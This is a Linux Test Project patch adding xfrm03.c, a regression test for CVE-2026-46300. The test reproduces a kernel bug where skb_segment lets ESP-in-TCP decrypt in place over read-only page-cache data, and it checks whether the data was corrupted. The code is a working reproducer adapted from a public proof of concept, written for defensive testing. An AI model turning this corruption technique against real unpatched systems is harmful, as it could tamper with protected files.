[LTP] [PATCH] sockets/xfrm03: Add skb_segment SKBFL_SHARED_FRAG stripping test

Andrea Cervesato andrea.cervesato@suse.de
Mon May 18 09:27:53 CEST 2026


From: Andrea Cervesato <andrea.cervesato@suse.com>

Verify that skb_segment() does not strip the SKBFL_SHARED_FRAG flag
from page-cache fragments when splitting GRO-coalesced packets,
allowing ESP-in-TCP to decrypt in-place and corrupt read-only file
data.

The test creates a three-namespace topology (sender - middle -
receiver) connected via veth pairs, disables GSO/TSO/GRO on the
middle-to-receiver link to force skb_segment(), installs an
ESP-in-TCP xfrm SA in the receiver, splices known file data through
the forwarding path, and verifies the page cache was not corrupted.

Reproducer based on:
https://github.com/v12-security/pocs/tree/main/fragnesia-5db89c99566fc

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 runtest/cve                          |   1 +
 testcases/network/sockets/.gitignore |   1 +
 testcases/network/sockets/xfrm03.c   | 325 +++++++++++++++++++++++++++++++++++
 3 files changed, 327 insertions(+)

diff --git a/runtest/cve b/runtest/cve
index 74ee8e9ba4287a99dbf0412921acb11a5be53283..a5952b56c48771def1032efdf0cbe3847f7dc23c 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -96,3 +96,4 @@ cve-2025-21756 cve-2025-21756
 cve-2026-31431 af_alg08
 cve-2026-43284 xfrm01
 cve-2026-46300 xfrm02
+cve-2026-46300-skb-segment xfrm03
diff --git a/testcases/network/sockets/.gitignore b/testcases/network/sockets/.gitignore
index 35bc0462b676b041d9a5b52a37fded973d0157a9..3e8962bbf34c8574460c032cf9eb3b38a55eb697 100644
--- a/testcases/network/sockets/.gitignore
+++ b/testcases/network/sockets/.gitignore
@@ -1,2 +1,3 @@
 /xfrm01
 /xfrm02
+/xfrm03
diff --git a/testcases/network/sockets/xfrm03.c b/testcases/network/sockets/xfrm03.c
new file mode 100644
index 0000000000000000000000000000000000000000..de6042e8ad8a806dcdaa152785511731a02cbeb0
--- /dev/null
+++ b/testcases/network/sockets/xfrm03.c
@@ -0,0 +1,325 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
+ */
+
+/*\
+ * Verify that skb_segment() does not strip the SKBFL_SHARED_FRAG flag
+ * from page-cache fragments when splitting GRO-coalesced packets,
+ * causing ESP-in-TCP to decrypt in-place and corrupt read-only file
+ * data.
+ *
+ * When file data is spliced into a TCP socket, the kernel references
+ * page-cache pages directly in the skb and marks them with
+ * SKBFL_SHARED_FRAG. If the packet traverses a forwarding path where
+ * GRO coalesces segments on ingress and skb_segment() splits them on
+ * egress (because GSO is disabled), skb_segment() incorrectly strips
+ * SKBFL_SHARED_FRAG from the child segments. When the receiver has
+ * TCP_ULP "espintcp" enabled, the ESP handler decrypts in-place on
+ * page-cache pages, corrupting the cached file contents.
+ *
+ * The test creates three network namespaces connected via veth pairs
+ * (sender - middle - receiver), disables GSO/TSO/GRO on the
+ * middle-to-receiver link to force skb_segment(), installs an
+ * ESP-in-TCP xfrm SA in the receiver, writes known data to a
+ * read-only file, splices it into a TCP socket from the sender,
+ * enables espintcp ULP on the receiver side, and verifies the page
+ * cache was not corrupted.
+ *
+ * Reproducer based on:
+ * https://github.com/v12-security/pocs/tree/main/fragnesia-5db89c99566fc
+ */
+
+#define _GNU_SOURCE
+
+#include <linux/ethtool.h>
+#include <linux/sockios.h>
+#include <net/if.h>
+
+#include "tst_test.h"
+#include "tst_net.h"
+#include "tst_netdevice.h"
+#include "lapi/tcp.h"
+#include "lapi/splice.h"
+#include "lapi/sched.h"
+
+#define TESTFILE "pagecache_test"
+#define DATA_SIZE 4096
+
+#define SPI 0x100
+#define TCP_PORT 5556
+#define IV_LEN 8
+#define ESP_HDR_SIZE 16
+#define AES_KEYLEN 16
+#define SALT_LEN 4
+#define KEYTOTAL (AES_KEYLEN + SALT_LEN)
+#define PREFIX_SIZE (2 + ESP_HDR_SIZE)
+#define NETMASK 24
+
+#define SENDER_ADDR   0x0a000101 /* 10.0.1.1 */
+#define MIDDLE_ADDR1  0x0a000102 /* 10.0.1.2 */
+#define MIDDLE_ADDR2  0x0a000201 /* 10.0.2.1 */
+#define RECEIVER_ADDR 0x0a000202 /* 10.0.2.2 */
+
+static const uint8_t aead_key[KEYTOTAL] = {
+	0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
+	0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff,
+	0x01, 0x02, 0x03, 0x04
+};
+
+static uint8_t original[DATA_SIZE];
+static int file_fd = -1;
+static int srv_fd = -1;
+static int middlens = -1;
+static int senderns = -1;
+static int receiverns = -1;
+
+static void disable_offloads(const char *ifname)
+{
+	struct ifreq ifr;
+	struct ethtool_value val = { .data = 0 };
+	int fd;
+
+	fd = SAFE_SOCKET(AF_INET, SOCK_DGRAM, 0);
+
+	memset(&ifr, 0, sizeof(ifr));
+	strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);
+	ifr.ifr_data = (void *)&val;
+
+	val.cmd = ETHTOOL_SGSO;
+	SAFE_IOCTL(fd, SIOCETHTOOL, &ifr);
+
+	val.cmd = ETHTOOL_STSO;
+	SAFE_IOCTL(fd, SIOCETHTOOL, &ifr);
+
+	val.cmd = ETHTOOL_SGRO;
+	SAFE_IOCTL(fd, SIOCETHTOOL, &ifr);
+
+	SAFE_CLOSE(fd);
+}
+
+static void setup(void)
+{
+	char keyhex[KEYTOTAL * 2 + 3];
+	char spihex[16];
+	char port_str[8];
+	int i, ret;
+
+	tst_setup_netns();
+	NETDEV_SET_STATE("lo", 1);
+
+	CREATE_VETH_PAIR("veth_m1", "veth_s");
+	CREATE_VETH_PAIR("veth_m2", "veth_r");
+
+	NETDEV_ADD_ADDRESS_INET("veth_m1", htonl(MIDDLE_ADDR1), NETMASK, 0);
+	NETDEV_ADD_ADDRESS_INET("veth_m2", htonl(MIDDLE_ADDR2), NETMASK, 0);
+	NETDEV_SET_STATE("veth_m1", 1);
+	NETDEV_SET_STATE("veth_m2", 1);
+
+	SAFE_FILE_PRINTF("/proc/sys/net/ipv4/ip_forward", "1");
+	disable_offloads("veth_m2");
+
+	middlens = SAFE_OPEN("/proc/self/ns/net", O_RDONLY);
+
+	SAFE_UNSHARE(CLONE_NEWNET);
+	senderns = SAFE_OPEN("/proc/self/ns/net", O_RDONLY);
+	SAFE_SETNS(middlens, CLONE_NEWNET);
+	NETDEV_CHANGE_NS_FD("veth_s", senderns);
+
+	SAFE_SETNS(senderns, CLONE_NEWNET);
+	NETDEV_SET_STATE("lo", 1);
+	NETDEV_ADD_ADDRESS_INET("veth_s", htonl(SENDER_ADDR), NETMASK, 0);
+	NETDEV_SET_STATE("veth_s", 1);
+	NETDEV_ADD_ROUTE_INET("veth_s", 0, 0, 0, 0, htonl(MIDDLE_ADDR1));
+	SAFE_SETNS(middlens, CLONE_NEWNET);
+
+	SAFE_UNSHARE(CLONE_NEWNET);
+	receiverns = SAFE_OPEN("/proc/self/ns/net", O_RDONLY);
+	SAFE_SETNS(middlens, CLONE_NEWNET);
+	NETDEV_CHANGE_NS_FD("veth_r", receiverns);
+
+	SAFE_SETNS(receiverns, CLONE_NEWNET);
+	NETDEV_SET_STATE("lo", 1);
+	NETDEV_ADD_ADDRESS_INET("veth_r", htonl(RECEIVER_ADDR), NETMASK, 0);
+	NETDEV_SET_STATE("veth_r", 1);
+	NETDEV_ADD_ROUTE_INET("veth_r", 0, 0, 0, 0, htonl(MIDDLE_ADDR2));
+
+	keyhex[0] = '0';
+	keyhex[1] = 'x';
+	for (i = 0; i < KEYTOTAL; i++)
+		sprintf(keyhex + 2 + i * 2, "%02x", aead_key[i]);
+
+	snprintf(spihex, sizeof(spihex), "0x%08x", SPI);
+	snprintf(port_str, sizeof(port_str), "%d", TCP_PORT);
+
+	const char *const xfrm_cmd[] = {
+		"ip", "xfrm", "state", "add",
+		"src", "10.0.2.2", "dst", "10.0.2.2",
+		"proto", "esp", "spi", spihex,
+		"encap", "espintcp", port_str, port_str, "0.0.0.0",
+		"aead", "rfc4106(gcm(aes))", keyhex, "128",
+		"mode", "transport",
+		NULL
+	};
+
+	ret = tst_cmd(xfrm_cmd, NULL, NULL, TST_CMD_PASS_RETVAL);
+	if (ret)
+		tst_brk(TBROK, "Failed to install xfrm ESP-in-TCP state");
+
+	SAFE_SETNS(middlens, CLONE_NEWNET);
+
+	for (i = 0; i < DATA_SIZE; i++)
+		original[i] = (uint8_t)(i & 0xff);
+}
+
+static void try_corrupt(void)
+{
+	struct sockaddr_in addr = {
+		.sin_family = AF_INET,
+		.sin_addr.s_addr = htonl(RECEIVER_ADDR),
+		.sin_port = htons(TCP_PORT),
+	};
+	uint8_t prefix[PREFIX_SIZE];
+	uint16_t frame_len;
+	uint32_t spi_net, seq_net;
+	char ulp[] = "espintcp";
+	int acc_fd;
+	loff_t off;
+
+	frame_len = htons(PREFIX_SIZE + DATA_SIZE);
+	memcpy(prefix, &frame_len, 2);
+
+	spi_net = htonl(SPI);
+	memcpy(prefix + 2, &spi_net, 4);
+
+	seq_net = htonl(1);
+	memcpy(prefix + 6, &seq_net, 4);
+
+	memset(prefix + 10, 0xcc, IV_LEN);
+
+	SAFE_SETNS(receiverns, CLONE_NEWNET);
+
+	srv_fd = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0);
+	SAFE_SETSOCKOPT_INT(srv_fd, SOL_SOCKET, SO_REUSEADDR, 1);
+	SAFE_BIND(srv_fd, (struct sockaddr *)&addr, sizeof(addr));
+	SAFE_LISTEN(srv_fd, 1);
+
+	if (!SAFE_FORK()) {
+		int cli_fd, pipefd[2];
+
+		SAFE_CLOSE(srv_fd);
+		SAFE_SETNS(senderns, CLONE_NEWNET);
+
+		cli_fd = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0);
+		SAFE_SETSOCKOPT_INT(cli_fd, IPPROTO_TCP, TCP_NODELAY, 1);
+		SAFE_CONNECT(cli_fd, (struct sockaddr *)&addr, sizeof(addr));
+
+		SAFE_SEND(1, cli_fd, prefix, sizeof(prefix), 0);
+		SAFE_PIPE(pipefd);
+
+		SAFE_POSIX_FADVISE(file_fd, 0, 0, POSIX_FADV_DONTNEED);
+
+		off = 0;
+		SAFE_SPLICE(file_fd, &off, pipefd[1], NULL, DATA_SIZE, 0);
+
+		/*
+		 * Splice pipe into TCP socket. On the forwarding
+		 * path, skb_segment() may strip SKBFL_SHARED_FRAG,
+		 * allowing in-place ESP decrypt on page cache pages.
+		 * May fail on patched kernels.
+		 */
+		splice(pipefd[0], NULL, cli_fd, NULL, DATA_SIZE, 0);
+
+		SAFE_CLOSE(pipefd[0]);
+		SAFE_CLOSE(pipefd[1]);
+		SAFE_CLOSE(cli_fd);
+
+		exit(0);
+	}
+
+	acc_fd = SAFE_ACCEPT(srv_fd, NULL, NULL);
+	SAFE_CLOSE(srv_fd);
+
+	tst_reap_children();
+
+	SAFE_SETSOCKOPT(acc_fd, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp));
+
+	/* Let the espintcp strparser process buffered ESP data */
+	usleep(30000);
+
+	SAFE_CLOSE(acc_fd);
+
+	SAFE_SETNS(middlens, CLONE_NEWNET);
+}
+
+static void run(void)
+{
+	uint8_t readback[DATA_SIZE];
+
+	file_fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT, 0444);
+	SAFE_WRITE(SAFE_WRITE_ALL, file_fd, original, DATA_SIZE);
+	SAFE_CLOSE(file_fd);
+
+	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+	try_corrupt();
+	SAFE_CLOSE(file_fd);
+
+	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+	SAFE_READ(1, file_fd, readback, sizeof(readback));
+	SAFE_CLOSE(file_fd);
+
+	if (memcmp(readback, original, DATA_SIZE) != 0)
+		tst_res(TFAIL, "Page cache corrupted via skb_segment ESP-in-TCP forwarding");
+	else
+		tst_res(TPASS, "Page cache was not corrupted");
+
+	SAFE_UNLINK(TESTFILE);
+}
+
+static void cleanup(void)
+{
+	if (srv_fd != -1)
+		SAFE_CLOSE(srv_fd);
+
+	if (file_fd != -1)
+		SAFE_CLOSE(file_fd);
+
+	if (receiverns != -1)
+		SAFE_CLOSE(receiverns);
+
+	if (senderns != -1)
+		SAFE_CLOSE(senderns);
+
+	if (middlens != -1)
+		SAFE_CLOSE(middlens);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_tmpdir = 1,
+	.forks_child = 1,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_USER_NS=y",
+		"CONFIG_NET_NS=y",
+		"CONFIG_VETH",
+		"CONFIG_XFRM",
+		"CONFIG_INET_ESP",
+		"CONFIG_INET_ESPINTCP",
+		"CONFIG_CRYPTO_GCM",
+		NULL
+	},
+	.save_restore = (const struct tst_path_val[]) {
+		{"/proc/sys/user/max_user_namespaces", "1024", TST_SR_SKIP},
+		{}
+	},
+	.needs_cmds = (struct tst_cmd[]) {
+		{.cmd = "ip"},
+		{}
+	},
+	.tags = (const struct tst_tag[]) {
+		{"CVE", "2026-46300"},
+		{}
+	},
+};

---
base-commit: 8cd7644a52e348393d453d0ec5bf9424ea31a4cc
change-id: 20260517-fragnesia-variant-8d026f8c0730

Best regards,
-- 
Andrea Cervesato <andrea.cervesato@suse.com>



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